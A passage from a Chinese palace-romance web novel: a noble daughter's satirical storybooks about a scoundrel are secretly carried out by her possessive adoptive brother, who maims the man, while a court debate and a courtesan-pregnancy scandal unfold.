陈疾喘着粗气,他洋洋洒洒从怀中抖出五六本话本子,各式各样的皆有,薄的厚的,还有一本书册婊了封画的。
“我问过掌柜的,这里头那本《尘世》卖的可火热,京中好些戏班子演的便是这个故事。”
江曜端详过去,拿起的便是那本。
陈疾咕噜噜一杯水下肚,后补道:“回来路上我翻了翻,大人,你别说,这话本子写的真有味道!里头小公主的青梅竹马,那个少年将军,像是你本人刻进去似得。”
“哦?”
江曜来了兴致,狐狸眼一挑,便抽出那本话本,细细读了起来。
陈疾没看太全,只是粗略扫了几眼。
他侯在旁,不时便见江曜的神情一会儿阴郁,一会儿轻笑,看到最后眉眼竟是温和的不可思议。
他们向来清冷沉寂的江大人,捧着话本,面容拢上了一层不可言喻的缱绻之色。
江曜轻呵了出声,“原来阿锁脑中想的竟是这些……”
姬时语的话本写了诸多,尤其是小公主与少年将军重逢的那一夜。
窗外银花珠树,风雪交加,帐内红罗翻滚,地笼滚热,无边春色。
那一夜究竟发生了什么?
江曜比谁都想知道。
他的阿锁背着她,竟想着他不知道的旖旎。
连夫妻之间的房中事,她竟写下几页之多,她……对自己还有着这般不为人知的心思?
话本子写的可太好了,合乎江曜的心,他有心留藏。
江曜想着,待两人独处,他愿意陪着姬时语,将话本之事,一一重现。
不论是雪夜红绸,还是两人的亲昵。
他还为她准备了大礼呢。
郊外他精心布置的暗宫,阿锁会喜欢那里吗?
江曜太期待了。
期待他牵着姬时语去到暗室的那日。
到那时,他的阿锁,那张粉面会露出何等桃花娇容的神情呢?
“大人。”
陈疾好奇心害死猫,是好奇纷起,不住追问:“这话本究竟说了什么?”
“你不必知道,下去吧。”
江曜转瞬合了书册,脸上神色眨眼褪了干净。
他不欲让陈疾看见,陈疾挠挠头,又被江曜一记冷睨投来,陈疾只得退下去。
走之前,江曜还落下一句吩咐:“陈疾,你去寻条狗来。”
“寻狗?”
“越凶的越好。”
陈疾丈二和尚摸不着头脑。
江曜冷呵:“我有要事。”
……
再说胡家胡搅蛮缠,扬言非要和忠义侯府结亲家,京城这些日子的喧闹声真如热油翻滚,噼里啪啦的。
胡丰汕本还忧心忡忡,怕忠义侯府怪罪,但得到祖父胡老太爷首肯之后,他再度大摇大摆的出了街。
路上有人频频投来目光,胡丰汕非但不觉丢人现眼,反而正大光明入了香兰阁,去寻他的心肝小宝贝雀娘。
一番欢乐之后,胡丰汕意满足,遂打道回府。
走到半路时,巷子口的回心阁传出说书人的笑声。
“此乃天道难容,是老天爷也看不过眼,只见那恶犬奔着他便来撕咬,大纨绔屁股开了花,这人呐,就是这么当街丢脸!”
胡丰汕心中嘀咕,寻思回心阁说的事,怎么就那么耳熟呢?
在这时,身后猛地一道犬吠。
“汪!”
胡丰汕一个回头,那条恶犬獠牙大张,似见了香饽饽,大口朝他扑来。
“啊——”
胡丰汕结结实实挨了一口撕咬,屁股瓣真成了两半。
他抱头便跑,恶犬不断追逐,犬吠不止,嗷嗷边咬边叫。
跑了三里路,胡丰汕两边屁/股被咬穿了,疼得龇牙咧嘴。
他连路也走不好,偏被恶犬追赶,只能连滚带爬,惊慌失措,捧着屁/股冲进了尚书府胡家。
这事很快入了姬时语的耳。
“小姐的话本子昨儿便摆上了架,那会儿便叫人一抢而空了,京城好生热闹啊,到处都在说大纨绔被狗咬的戏文呢。”
萍亭笑说:“就说胡家的纨绔,真是老天开了眼了,同戏文成真似的,他也让恶犬咬得屁股开花,小姐你说巧不巧?”
“真应了我的话本?”
姬时语心生一抹疑窦。
她写戏说前传,为的便是坏胡家的势。
胡老太爷有意胁迫忠义侯府,那她便让世人看看胡家行事有多卑劣不堪。
胡丰汕这等骄奢淫逸的嫡长孙辈,竟冠冕堂皇受着祖父尚书大人的荫庇,四处为非作歹。
简直没有天理。
但是,姬时语并没想过胡丰汕会如话本被狗咬。
对此,姬时语竟没生起喜悦,反而怀疑起了一桩事。
江曜此前克制不住,抓着她放纵癫狂,那时他曾说过他不喜欢她与旁的男人牵扯在一起。
尤其是事关议亲。
胡家上门提亲,胡丰汕的名字和她姬时语被迫纠缠在一块,为外人说三
道四。
胡丰汕想求娶与她。
江曜能忍吗?
姬时语竟然生出一股头皮发麻之感。
她下意识的想到了江曜。
这几日在府上她与江曜几回见面,少年脸色俱是风平浪静,不动声色。
着实不像江曜的为人。
姬时语的身子猛然一抖,心觉江曜恐怕不得容忍,要对胡丰汕下手。
这恶犬还是第一出。
她的哥哥好似真不是她以为的,那么的君子朗朗。
这几年下来,凭良心讲,她了解他吗?
突然之间,姬时语不知道了。
江曜的本性,她竟然真的倍感茫然,是他变了,还是自始至终从未变过。
那张蒙在江曜脸上的遮蔽的面具,她该揭下的。
现在,机会在她眼前了。
小姑娘定定心神,她深呼吸一口气,目光坚定,瞥头抬手执起墨砚。
待揉开墨汁,姬时语提笔写字,开始着笔戏说前传的正传下文。
……
胡家嫡长孙被恶犬扑咬,追了三里路,疯传全京城。
翌日,胡老太爷才入早朝,周身便有几道笑声,他沉着脸扫视时,不悦的声音便在顷刻消散。
弘文帝上了朝,太和殿归于安静。
今日请奏,阁老房平率先出了列,躬身便直言一桩要事。
“陛下,冬日干冷,黔南地处偏远,下有知州递来奏章,恐黔南之地生了内乱。”
“黔南内乱。”
弘文帝接过请奏看过了眼,双目炯炯,“这内乱不小,流民万千,不好平息啊。”
“从京城去往黔南,路途需三五日,现在又恰逢寒冬,黔南的内乱怕是事态严峻。”首辅魏召补道。
“朝中需得派人南下,众爱卿可有人选?”
弘文帝俯视下首众朝臣。
朝臣们垂首,暗地里互换了一道眼神,正当有人蠢蠢欲动之时,忠义侯姬雄武一个大步出了列。
“陛下,臣以为黔南内乱交由都督佥事江大人,再合适不过。”
姬雄武抱拳拜道:“就让他代为巡抚大人,南下平乱,为陛下分忧。”
阁老房平和首辅魏召飞快对视一眼,两人立刻明了。
姬雄武是在为江曜日后执掌大都督之位而铺路!
“陛下,不可。”
还不等两人出声,兵部尚书胡老太爷旋即出列,他一拜道:“臣不同意让江大人南下。”
弘文帝眼睛一转,看向胡老太爷,“胡爱卿为何?”
胡老太爷朝黑脸的姬雄武冷哼,恭敬回了皇帝的话:“江大人不过一介五军都督府的都督佥事,上任一月有余,如何能胜任巡抚南下?”
“那胡大人心中人选又是何人?你想推崇的是你们兵部的人?”
姬雄武十分不悦,胡老太爷根本就是故意阻江曜的路。
诚如胡老太爷所言,有他这个兵部尚书在,江曜的仕途莫想再晋升一步。
江曜更妄想当着兵部的面,将五军都督府的实权重夺回手中。
不论是重回楚王府,亦或五军都督府的官职。
胡老太爷都不欲让江曜好过。
“陛下,此次南下……”
胡老太爷眼眸生笑,他摸了把胡子,说道:“老臣以为,可以让大皇子殿下代劳。”
此言一出,太和殿再不得寂静,全喧哗起来。
阁老房平与首辅魏召互相瞪眼,两人齐齐生出一个念头。
兵部尚书胡老太爷,这三皇子党的老贼,是失心疯了!
他竟要为大皇子造桥铺路,送他更上一层台阶。
第90章
阁老房平与首辅魏召官职三十年载,两人从未踏入营党私派。
只是每当朝中有声音四起,劝弘文帝立储,两人同样会出列说几句话。
三位皇子之中,阁老房平和首辅魏召还是向着大皇子这个长子,平心论,两人皆以长为尊。
虽早知道胡家与楚王府为三皇子党,房平还是为胡老太爷之言生了笑。
“陛下,胡大人言之有理,您总说大皇子殿下尸位素餐,不成大器。此番黔南内乱,正好借此机会,让大皇子一展抱负,也是殿下为陛下分忧啊!”
魏召跟笑道:“是啊陛下,大殿下是并未做出名堂,可您总该给大皇子一个机会。”
有了阁老房平和首辅魏召出言举荐,朝臣纷纷附和。
一时之间拥护大皇子前往黔南平乱,竟成了首位。
兵部尚书胡老太爷见此,得意洋洋朝忠义侯姬雄武与江曜瞥来得意的笑。
江曜作缄默,脸色平静。
姬雄武脸如黑炭,后只得咬牙忍气吞声,附和了举荐大皇子的话。
就这样,黔南内乱定夺下来。
弘文帝任江承运为巡抚,代圣上南下平乱。
……
姬时语这面亦是紧锣密鼓地准备着,不过短短三日,她便奋笔提书,写出一本戏说后传。
话本成册,再次摆上书肆兜售。
后卷之中,话本里大纨绔的老相好给尚书府送了信意欲上门逼迫,大纨绔领着人便杀去寻她。
谁知道这一去,路遇黑衣正道大侠见不惯他行事,竟是从高楼将他踹下来,一脚废了他的命_根。
后传实属大快人心。
同一时,胡家下人急匆匆入主院寻胡丰汕递话。
“香兰阁的雀娘姑娘送了信来,问少爷你何时来认这个儿子?”
下人得知了胡家辛秘,胆战心惊。
胡丰汕听到这话,他根本顾不上屁_股疼,当即跳了脚,“什么孩子?我怎不知道雀娘有了双身子?”
他本就喜爱雀娘花样多,温柔小意,在床榻之间柔软无骨,想着日后为她赎身纳门小妾。
他已及冠却还未娶妻生子,若是雀娘能为他诞下个一儿半女的……
胡丰汕心思瞬间活络,他恨不得立马飞去香兰阁,迎雀娘回府温存才妙。
“备车!爷要去香兰阁。”
另一厢,宁心黑衣蒙面,奉了姬时语的命,暗中带信前往镇国将军府于家。
一封隐蔽的信纸,悄无声息地送到于威的手上。
领一身闲职的于威很郁郁寡欢,成日耽于美色。
这几日他和雀娘走得近,才知道香兰阁出了这等美娇娘温柔乡,伺候人让的手段了得,让人想忘都忘不掉。
比家中的五公主江垂容不知好上多少。
尤其今年江垂容已有了身孕,每日于威晚归回府,不是挨她辱骂,便是责备抱怨。
如今于威是连于家也不愿意回去,只盼着再去香兰阁寻雀娘。
现在有信传来,写道:
雀娘已有了他的孩子。
于威是原地大跳蹦起,后背猛然溢出成片的冷汗,他魂飞天外、恐慌万分。
雀娘的孩子是他的?
此事若被五公主江垂容知晓,他这个驸马一百个头不够被砍的!
于威心道大事不好,他即刻翻身上马,往香兰阁飞驰。
……
巳时二刻,于威拂开意欲阻拦的老鸨,径直冲入香兰阁雀娘休息的阁楼。
他心急如焚,放声便喊:“雀娘,你真怀了我的孩子?”
甫一推开屋门,房中两人和于威俱是一愣。
胡丰汕搂着雀娘还在温存,雀娘半边圆肩裸_露,眼尾吊着沉醉,她见是于威满面瞬间慌张,推搡胡丰汕几下,没能推开。
“雀娘!”
于威眼中怒火直烧,顿时有种抓奸夫淫_妇之感,一股难言的羞耻恼怒混杂,已忘了他是要寻雀娘舍孩子的。
他直接怒骂:“雀娘,你怀着我的孩子还同别的男人欢好?”
胡丰汕听这话,面色瞬间黑沉,“你说她孩子的爹是谁?”
“是我,这段时日和她好的都是我,她肚子里的孩子当然是我的!”
于威不是不认得胡丰汕。
对胡家这个纨绔他向来没得好脸色,现如今还抢了他的女人,又抱又亲,他恨不得杀了胡丰汕。
“你再说一遍?你和雀娘早就好上了!”
胡丰汕不敢置信,他养了这几年的女人,竟背着他还在接客。
不光怀上狗男人的孩子,还大言不惭赖上他们胡家。
雀娘见势不妙,当即抓住了胡丰汕的手臂,“爷,你听我解释,我……”
“滚!”
胡丰汕一脚踹开雀娘,雀娘惨叫跌落,她后腰一痛,肚腹霎时痉挛,她大叫:“不,我的肚子,爷,我还怀着你的孩子啊!”
雀娘潸然泪下,她哭得梨花带雨,胡丰汕听她嚷着孩子,指着就骂。
“这孩子的爹究竟是谁?你怀上别人的野种,也配说是我胡家的孩子?”
三言两语之下,于威拧眉,好似看懂了胡丰汕和雀娘的纠缠。
“爷,不是他的,这孩子真是你的,我算过时日了,我是爷的女人啊,这孩子也是你的儿子啊……”
“我胡丰汕都要当后爹了,你还有脸说是我的孩子?”
胡丰汕眼眶染血,雀娘和于威给他的这等羞辱,他想当场杀了两人。
“不,不是,孩子真是你的,不是他的!”雀娘咬死不认。
胡丰汕血红的眼转向于威,只是这一眼,于威感觉自己正被一头发怒的雄狮仇视着。
“于威,你告诉我,这些日子,你真爬过雀娘的榻?”
于威伈伈睍睍,“是。”
“那孩子就真是你的了?”胡丰汕咬牙。
于
威不悦被胡丰汕仇敌,可孩子毕竟是他的,即便雀娘还有别的男人,于威恨透了雀娘,他黑了脸。
“应是我的。”
“哈哈哈,我胡丰汕竟被一个烂了嘴的小蹄子玩弄于股掌,你们一个娼_妇,一个庸狗,还真是般配啊!”
“胡丰汕,你说谁是庸狗?”于威也怒了,双目血红。
“于威,扯你娘的臊!动我的女人,你还不服,我真给你脸了是吧?”
男人最不得容忍的屈辱,莫过于自己女人怀的种,是别家狗男人的。
胡丰汕怒骂,又起了诅咒,“哦,是,我记得五公主还怀着孩子呢,信不信你儿子生下来,长不出屁?”
“胡丰汕。”
骂到亲生儿子头上,于威再不能忍。
于威上去抓住胡丰汕的衣襟,“王八羔子,再多嘴多舌老子锤你了!”
“有胆子你就来。”
“砰——”
胡丰汕被于威一脚从三楼大力踹下了楼。
于威双眼发狂,已是六亲不认。
正在这时,寒风一破,不知打哪儿隔空飞出一把银光飞刀。
“啊!”
胡丰汕又是一声尖叫。
飞到直直射中了胡丰汕的衣袍之下,他痛恨交加,手指抖着指于威。
“于威,你竟敢伤我的根……”
雀娘惊恐抱脸,大声惨叫。
胡丰汕昏死了过去。
……
忠义侯府,姬时语悠闲地敛起书案的信纸。
尘世她已定好下文,这两日再花心思修正字句,便可送到书肆,装册售卖。
她还是随了杜南霜的心意,要给小公主和她的少年将军一个美满结局。
姬时语起身,将纸页放置于书架之中的暗格。
收拾妥当,她素手一抬,刚将暗格闭上,身边便有了脚步声。
随之而来的,还有江曜如玉盘落珠清冷的嗓音。
“阿锁,做什么呢?”
无声无息的,这人跟个鬼似的平白便冒了出来。
不知为何,姬时语心生一股微妙的惧怕,她指尖微抖,没敢让江曜发觉自己身后的暗格,匆忙理好书架,她回身挂了笑。
“哥哥。”
姬时语的莹白小脸,笑意盈盈。
江曜官袍未褪,乌发齐整别入官帽。
他的面容本就冷漠不带一丝情绪,如此平整的衣着之下,腰身挺拔清瘦,衬得他气度更为冷峻、不留情面。
他狐狸眼微眯,走近了一步,唤她:“阿锁。”
高大的黑影完完全全笼罩上姬时语的全身,毫无缝隙地遮盖了她。
小姑娘下意识的后退,可身后便是书架,实在避无可避。
姬时语佯装镇定,“哥哥下朝回来,朝上没出什么事吧?”
她意有所指,江曜不经意睨她一眼,眼尾挑了笑意。
他不置可否回:“能有什么事?”
“是,是……也是,不会有事呢。”
姬时语侧过脸,正好避开江曜迫人的直视,她心跳如擂鼓,那种不受控制的心悸,好似又生起了。
砰砰砰的,平复不下去。
“那……”
姬时语咬住唇,旁敲侧击地问:“哥哥回府路上可有出事?”
“没有。”
江曜勾笑,他又往前走了一步。
如此一来,两人便只有一步之遥。
江曜并未上前,只是这么定定凝望着姬时语。
连姬时语也未察觉,她两只纤细的手臂正紧紧依偎着书架,侧头时下颌微仰,那条线拉得细长,与白玉似的脖颈连在一起。
就着窗棂微弱的光,小姑娘半边侧脖玉白柔滑的肌肤,直落于江曜的眼中。
她在倔强、固执。
又是一种无声的引诱。
她的肌肤柔软,玉兰香气浸了她的身,亲啄她的唇瓣时,亦能品到香甜的气息,萦绕唇齿。
此刻,他想捧住她的脸蛋,吮吸、亲吻。
江曜眯眼,他望着小姑娘白软的脖颈,喉结滚动,嗓子里生起诸多难耐的渴意。
随即,江曜低低笑开了。
他哄她说:“阿锁,我上朝后便归了府,这一路上又能遇到何事。”
“哥哥没听说吗?”
姬时语搅动手指,喏喏低喃:“不是说胡丰汕被老天收了,下半身不遂。”
她想知道,此事是不是江曜所为。
“是啊,外人都说,此乃是正道之剑,是老天爷惩罚胡丰汕,故意断了他的根,让他再不能祸害姑娘。”
然而江曜沉吟之后,狐狸眼好似眯起,万分喜悦地笑了起来。
“阿锁知道吗?从香兰阁回去的路上,胡丰汕那处还没断,是半道被大侠硬生生砍掉的,你说这……是不是正道所为呢?”
“什么……”
“不过也好,他没了那个,再不会觊觎你了。”
姬时语紧紧缩靠在书柜,因他所言,她吓得调转头望过来。
“要我说,胡丰汕也配娶我们阿锁?”
面前的少年容颜陇上阴寒的暗色,却仍笑意不减。
“他敢动这个心思,区区废命_根还是太轻了,就该要他命……杀了。”
内室昏暗,姬时语辨认不清他眉宇之间的神色。
究竟是阴郁,还是只是一道单纯的愉悦。【你现在阅读的是 】
90-100
第91章
沉默了良久,姬时语蠕动嘴唇,找回自己的声音。
她张了张口,问道:“江曜,此事是你做的?”
江曜并未回答,如死寂的狐狸眼一动不动凝视于她,他笑了笑,反道:“阿锁问的是何事?”
他这不是明知故问,都这个时候,还在她跟前装傻呢。
姬时语十足恼火。
偏江曜不随她愿,挑了眼笑而不语。
说时,小姑娘的下巴尖又转了回来,一双黑葡萄似的眼瞳静静回望江曜,她眼神澄澈,如一面明镜。
映照出昏暗的少年。
“江曜,我的话本……”
“你说话本子啊,我确实看了。”
江曜自顾自地走近,姬时语无处可逃,他伸出遒劲的手臂,只是那么一撑一抓,便将她的手腕牢牢地摁在书柜之上。
两人呼吸纠缠,他干净的气息裹住姬时语,她只是微动鼻子,鼻腔之中便沾满是他的味道。
离的这样近,姬时语很不自在,心起逃离的念头。
但是江曜,最是不喜欢见她逃避的眼神。
轻笑了一声,江曜从怀里掏出一本话本,兀自在姬时语跟前翻开了。
狐狸眼一垂,他照着话本所写念道。
“屋外大雪纷飞,小公主的帐内却是热火中烧,她拉住他的手,让他留宿过夜,两人的指尖只是那么一触碰,多年以来的思念在这一刻,全然结为对彼此的渴求与欲念。他问她:‘你可会悔?’,她说‘从来都不会。’”
“别念了!”
姬时语小脸通红,一双眼连看哪儿都不知道了。
江曜拿着她写的《浮尘》,念的可不就是小公主和少年将军多年不见,重逢过夜的那一回。
被禁锢住了双手,姬时语羞愤难耐,奋力挣扎,可江曜又大力攥紧。
姬时语在他怀中,动弹不得。
江曜还在念:“
那一夜,他们尝试了许多,他还是喜欢她趴在自己腿上,那样他便可轻易啄她雪白的背,她喜欢怎样,他都依着她,不管是水里、桌上还是在榻上……”
“真是够了,江曜,不准你再念了!”
姬时语一张莹白脸蛋羞得霞云遍布,她羞赧又躁动,黑眼瞳烧着火。
那架势正如江曜胆敢再继续念下去,她便要扑过来咬他。
给小姑娘逼急了,她确实做的出来。
江曜笑着收了书,挑眉恣意问她:“阿锁好文采,你还未出阁,却连夫妻之事都知道,跟谁学的?”
姬时语被他抬了下巴,她复而甩开他手,哼道:“没跟谁学,我乐意写什么便写什么!”
“那好,既然阿锁喜欢的是这些。”
江曜颔首,似下定了决心,“那往后便依着你话本办吧,我已是知道了你喜欢怎样摆弄,那些姿势不多难,我会学的。”
“学什么?不是,你在说什么?”
“不论是水里、桌上还是在榻上,阿锁不是喜欢这个吗?还有主动坐上去,再趴下,我竟不知道,你背地里想了这么多呢。”
江曜眼里笑意深深,他说着下流之话,面色正经的不可思议,让人丝毫不觉得他是风流公子。
反而这话太过下流,还有些配不上他。
“呸呸呸,你不要说了!”
光天化日之下被江曜说这事,姬时语更是羞死了,满脸彻红:“我都说过那只是话本子,做不得真。”
“嗯……”
江曜沉吟,又笑说:“是这样吗?”
他不信。
话本子他可要留好的。
往后寻个时候,同阿锁一起尝试,看可是话本里的滋味。
阿锁不也写了,书里的小将军很喜欢小公主主动。
他也要。
“好了!江曜,我同你说正事呢,你莫要扯东扯西的。”
姬时语是压根不愿意再说这事,她咬了牙愤愤:“再不许你拿我的话本子取笑我。”
江曜笑道:“那阿锁想问什么?”
“你看过尘世,定也看了其他话本,是不是?”
姬时语只能直截了当,问他心中所想,“你知道我在写话本,其中有两本《戏说》,写的便是胡丰汕,而现在,话本一一成了真。”
江曜点了头。
“你……你看了便知道我对胡丰汕下了多大狠手,你老实说,是不是你让他断了根?”
姬时语颦眉,她惧的是江曜脾性心狠手辣,为何从未让她知晓,隐瞒欺骗了她这么久。
她还惧他在自己面前不是真的他,若是这样,那两人之间的感情又是真是假。
可一抬头,手腕却被江曜捉住反摁住。
姬时语恼的很,想要挣扎,他却在她头顶,笑了出声。
“不是都说了,废了胡丰汕的是正道大侠,所为正道之剑吗?与我何干?”
姬时语直愣愣瞪他,少年的狐狸眼嬉笑着,如此的漫不经心之意,意已明确。
心口砰砰直跳,姬时语有种直觉。
是他做的没错。
“你骗我。”
姬时语肯定着说,语气甚至平静,“江曜,不要再骗我了。”
江曜却撩了她耳边的一缕发丝,眼眸低垂,落下半道阴影。
他没吭声,便是不愿应姬时语的话。
“所为正道之剑不过是个幌子,于威是我让人骗去的香兰阁。”
姬时语叹了口气,又道:“我料定胡丰汕会闹,我想他们二人缠斗,但我没想过要胡丰汕的命。”
“原来是阿锁设计的,我当是谁诱骗于威和胡丰汕撞见呢。”江曜轻飘飘回。
“你也在。”
江曜又是不语。
可方才他已是应了,那时候他是亲身在香兰阁,不若他怎瞧得清清楚楚?
江曜知晓事端前因后果,只有可能他本人身在此处。
“你真照着我的话本去做了?”
姬时语拧了拧眉,不敢相信会是真的,“我写的夸大,是因为那是话本,生死不论,只是话本。”
她本意是依着话本,让于威和胡丰汕窝里斗,龙虎相争两败俱伤。
而有了香兰阁雀娘怀有身孕,其父不知是胡家少爷还是公主驸马于威这一出戏,更是精彩绝伦。
一旦捅破出去,外头便无人再议论胡家上姬家求娶姬时语。
姬时语也好摆脱和胡丰汕的纠缠。
可是江曜变了法子,让话本成真,这事可就不是一般,而是彻底闹大了。
“你怎么就废了胡丰汕,若他性命不保,胡家……”
“我就算杀了他,那也是他罪有应得。”
江曜的一句话,堵死了姬时语的千言万语。
她百感交集,难免又低落挫败了起来。
这些年她教导江曜,真的将歪脖子树掰正,长成了直树吗?
“所以你承认了。”
江曜沉沉看她,几乎是无声的认了。
姬时语一时之间太难以接受,若非今日她追问到底,江曜还想蒙混过关,隐瞒她多久真相呢?
这些年,他又骗过自己什么?
姬时语重重地咽了口水,她不断搓着发冷了的手臂,从来没有这一刻,她觉着自己实在是太好糊弄。
江曜为她编织出无人打破的美梦,她便也不曾怀疑过。
只是一味的相信他。
“阿锁,你怕了?”
江曜眼底杀念闪过,他不再遮掩,明白又清楚地摆出给姬时语看。
“这事怎么能怪我呢?胡家算计我便罢了,他们竟敢打主意到你头上。”
垂首间,见小姑娘柔软的脸蛋就在手边,江曜伸出手,指腹轻触,他一揉捏她的脸,掌心每抚摸一下,手里的软嫩便瑟缩一记。
“阿锁,我忍不了。”
江曜轻笑,指腹抚摸她光滑如玉的脸,姬时语想挪开,他没让。
眼眸暗了些,他冷冷开口:“胡丰汕那种人也配?我没杀他,已是给胡家留了一分颜面。”
姬时语面色不觉便冷了下来,“江曜,你就没想过,事出过后,胡家查下来,会落到你的头上?”
“你放心,我不会牵连忠义侯府。”江曜自嘲一笑。
姬时语的躲闪与疏离,他怎么会没察觉?
江曜勾住她的下巴,将人拉近,即使面前的小姑娘神色疏离,他也要留她这个人,近在咫尺。
她只能是他的。
江曜就是这个念头。
“江曜……”
“嘘,我知道阿锁担心何事。胡家要查,只会查到我,我不需要忠义侯府替我担着,本来我和忠义侯府也是无关无系的人。”
听江曜平静非常的说这话,姬时语的心头里又像刀割一样的难受。
前世今生,两辈子了,江曜是她活十几年,唯一心动喜欢过的人,更是她珍视的家人。
即使江曜欺骗了她,他自始至终覆上了一层伪装,在她这儿作亲切温柔的哥哥,背地里却是不能见人的恶劣。
姬时语的心中是有一丝的不舒服。
可是,她并未想过要抛弃江曜于不顾。
“我不是这个意思。”姬时语蹙眉。
她的话,很是苍白无力。
姬时语丧气的很,她不知道如何解释。
心里头乱乱的,自己也没缕清楚。
不知道自己该喜欢他、随他,还是该怪他、惧怕他,她到底该拿江曜怎么办?
人非草木,这几年一道长大,姬时语一颗真心只给了江曜。
五年,倾注了她真切的感情。
不是假的。
“江曜,你到底还是忠义侯府的人,出了事,我想爹娘不会放任不管。”
姬时语垂下眼睫,莹白的脸更显苍白,她攥住手指,说道:“我只是,只是不想你杀人。”
“阿锁,我不管你是哪个意思,你不就是怪我对胡丰汕出手太狠吗?是,他的事就是我做的,我承认了,但他本就该杀。”
江曜抬起阴郁的眼,顿时无数杀气缭绕他身。
“我恨不得把他千刀万剐。”
“江曜。”姬时语低声喊他。
江曜的眼尾坠了红润,此刻他凶狠如林中蛰伏爬起的猛兽,他等了已久,也不得忍耐。
“阿锁,不只是他,任何觊觎你的人,我都会杀了。”
闻言,姬时语微微叹息。
她终于明白,这些年过得恍惚,她真是一叶障目,从来没有看清过。
她养大的少年,还是歪了。
第92章
江曜忆起来,早朝之后,兵部尚
书胡老太爷意欲拦他。
皇城的飞檐斗拱之下,尚书胡大人红袍官服平整,他望着江曜,眉毛之中那颗痣很大,凸起显眼。
“江大人怕不是忘了,五军都督府只有统帅之权,却无兵权调度之权,兵部有权任调五军都督府。”
胡老太爷说:“我身为兵部尚书,若是我想调你的职,说调便可以调了,江大人真惹得起兵部吗?”
“怎么,胡大人很是不满意我做这个都督佥事了。”
“我只是想让你明白,有的人该是什么位子,便该老老实实坐着,不要肖想不该去的地方。”
明晃晃的威胁之意,朱红宫墙那般刺骨寒冷,是寒冰冬日将要来了。
江曜冷笑,吐出一团白雾,恍惚打在他清冷的面庞之上。
胡家这是明面上告知于他,胡家与楚王妃并不乐意他当上大都督,也不会对他这个私生子坐视不理。
好笑的是,他们既不愿江曜坐上高位,也不愿江曜认祖归宗。
江曜没来由的烦躁,一烦躁就想要杀人见血。
只可惜皇宫不允佩刀,他总是惋惜这事。
“胡大人胁迫我之前,也该看看自己有没有这个能耐。这天下是你一人只手遮天的天下,还是陛下的天下?”
江曜才不会畏惧胡家的威胁。
他这人身处阿鼻地狱太久,见多了魑魅魍魉,最不怕的便是威逼利用,刀剑相向,饮血解渴。
来吧,看看谁见血更快。
胡丰汕被废命根,这只是江曜回敬胡老太爷的第一刀。
他算计江曜可以,唯独不该碰忠义侯府的五小姐姬时语。
动了阿锁,江曜必要让胡家伤筋动骨,百倍痛苦才好。
于是江曜同样告诉姬时语:“胡丰汕人面兽心,行同狗彘,我废了他,让他往后不能再肖想女人,阿锁不觉得我做的很对?”
江曜笑着平淡,姬时语倾身上前,捂住了他的嘴。
小姑娘一板一眼的,白软脸蛋微微鼓。
“好了,哥哥,说的够多了,你不要再声张。”
姬时语并不希望外人知道是江曜做的,打心底的,她还是偏袒了江曜。
在这种时候,她遵循本心,选择了与他同处。
江曜被她小心翼翼的专注目光取悦,小姑娘留有玉兰花香的手心捂在他唇上,他微顿,侧了侧头,垂眼亲上了她的手心。
凉凉的唇瓣贴上去,温热的舌尖一拭而过。
“哎呀。”
姬时语受惊,霎时松开手。
“阿锁不用那么小心的。”
“我是因为谁才这样的?”
听这话,姬时语不虞极了,怒而推搡江曜一把,“你做了什么好事自己不清楚?”
江曜不置可否。
姬时语哼了哼:“你趁早撇清和我们忠义侯府的关系,我可不想侯府受你牵连,还卷入莫须有的事端里。”
“不是说不怪我了?”
“我现在就要怪你。”
“啧。”
江曜咂舌,姬时语无理取闹起来,可不会同他讲道理,他便也不劝,只是有些烦躁不已,下手捉住手腕之上的粉色珠串。
揉搓了几下,像能平心定气。
后江曜又说道:“我手里已有了胡丰汕曾经犯下的罪行,胡家这次难逃,该偿还的得让他们还了。”
“什么罪行?”
“胡丰汕曾霸占良女,相中了个寻常人家的姑娘非要强纳为小妾,那姑娘气节刚傲,不从他,后来便在胡家一根白绫自刎了。胡家为了瞒天过海,就将那姑娘埋在了府上,直至今日。”
姬时语拧眉,眼里泛起一股难言之意,“埋在胡家,他们也不怕人家姑娘怨气重,午夜化鬼来索命。”
听她还有心为女子抱冤,江曜捉住了她的手腕,手指伸入她袖中,蹭着她柔润如凝脂的皓腕。
很好摸,让人心旷神怡。
“不气我了?”
“又胡来,我可没说你做的便是好。”
姬时语被江曜磨得没脾气,顿时没话说。
胡丰汕敢霸占民女,事后逼死了人就这么草草掩埋。
胡家真是无法无天,胡丰汕更是该死。
不过这不能绝了她的心思,她无法不顾及江曜的脾性,眼睁睁看着他成了枭獍其心之辈。
就只说胡丰汕被废这事,他便是先斩后奏。
从来不与人相商。
非常不对。
“哥哥,往后公办公事,不得私了。”
为着多年的情谊,姬时语还是容忍了江曜此行此举。
她舍不得的,是那个待她温柔心软的哥哥。
并非手段残忍的江曜。
姬时语牵住江曜的手,垂首好似在呼唤他回归正道。
“你下次万不可再这样做了。”
……
这段日子,胡家真如有人在府邸放了一把火,烟熏火燎的,大火燎旺。
江曜废了胡丰汕,胡家满是哀嚎,偏雀娘之事败露。
孩子爹是否为胡丰汕,暂且不知。
但满京城可都知晓了,胡丰汕和镇国将军府的五公主驸马于威,竟让同一位伶人大了肚子,这孩子究竟是谁的,不知道啊。
两人争了争,大打出手。
正是于威一脚把胡丰汕踹下高楼,才致使胡丰汕彻底当不了男人。
胡家人不胜其怒,要于威给个说法。
而五公主亦是第一时得知自己的驸马,竟搞大了香兰阁一个伶人的肚子,且那肚子里孩子的爹,还可能不是他。
“啪!”
于威甫一归府,便结结实实挨了五公主江垂容的一耳光。
“于威,这些年你就是这样回报我的?你把我们夫妻情分当做什么了,你的良心喂了狗!”
江垂容恨意交加,一耳光难解她恨,只可惜她乃双身子动不了大气。
“江垂容,你也有脸跟我提夫妻情分?”
于威双目血红,怒吼:“当年若不是你强嫁给我,我已当上大将军,还迎娶忠义侯府的大小姐为妻了!”
那种目光像要杀了她,江垂容花颜失色大步后退,眼前的夫君让她陌生的不敢认。
惨白着脸,江垂容定了定神,又恼火起来:“那你说,你在香兰阁闹的丑事,还伤了胡家人,你也配提为人夫、为人父?”
这事确实拿捏了于威,他犯下大错,不得不认。
于威没说话,府上侍从火烧火燎跑来。
“公主,胡家人大闹,要驸马赔他们儿子,不若便要告官讨个公道。”
江垂容又恨又气,看于威没好脸色,“看你惹出的好事!”
于威脸色铁青,不吭声立在那儿,像个桩子。
江垂容身为五公主,她有自己的骄傲,于威占着她的夫君之名,她断不能容忍有人挑衅皇室。
江垂容即刻喊来丫鬟为她梳妆,后又吩咐道:“派人入宫,我要寻见父皇!”
……
乾清宫中,江垂容跪在玉阶之下,哭成了泪人。
于威在她身侧,亦是跪倒,垂首不知神情。
